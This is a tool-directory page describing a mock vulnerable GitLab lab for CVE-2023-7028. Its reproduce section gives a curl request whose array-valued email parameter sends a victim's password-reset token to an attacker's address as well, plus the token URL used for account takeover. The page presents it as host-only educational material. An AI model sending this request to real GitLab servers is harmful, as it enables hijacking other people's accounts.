Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
GitLab-CVE-2023-7028 — Mock vulnerable GitLab instance reproducing CVE-2023-7028 password reset hijack. Demonstrates array-based email parameter exploitation and account takeover. For educational lab use only. | Kitploit
Tools/GitHubGitHub/feartheploto/gitlab-cve-2023-7028
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubfeartheploto/gitlab-cve-2023-7028

GitLab-CVE-2023-7028

Mock vulnerable GitLab instance reproducing CVE-2023-7028 password reset hijack. Demonstrates array-based email parameter exploitation and account takeover. For educational lab use only.

View Repository
16h 34m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

GitLab CVE-2023-7028 — Mock 16.6.0 (Host-only)

CVE-2023-7028 (CVSS 10.0): POST /users/password accepted user[email][] array — server found user by email[0] but sent the same reset token to every address → attacker with [email protected] hijacks [email protected]. Affected: GitLab CE/EE <16.5.6, <16.6.4, <16.7.2. This mock reproduces 16.6.0 vulnerable flow (JSON DB, no SMTP).

Run

npm install && npm start → http://127.0.0.1:3000 (or PORT=3001 npm start; auto-retries if busy; localhost only). Seeded: [email protected]/s3cur3P@ss!, , in .

[email protected]/BobSecure1!
[email protected]/5iveL!fe
data/users.json

Reproduce

curl -X POST http://127.0.0.1:3000/users/password -d "user[email][][email protected]&user[email][][email protected]" Check http://127.0.0.1:3000/mailbox or /api/emails — both get same token. Open .../users/password/edit?reset_password_token=TOKEN to take over. Normal: user[email][email protected] → one mail. Mailbox shows every mail; nothing leaves host. MIT — lab only, do not expose.

Download Tool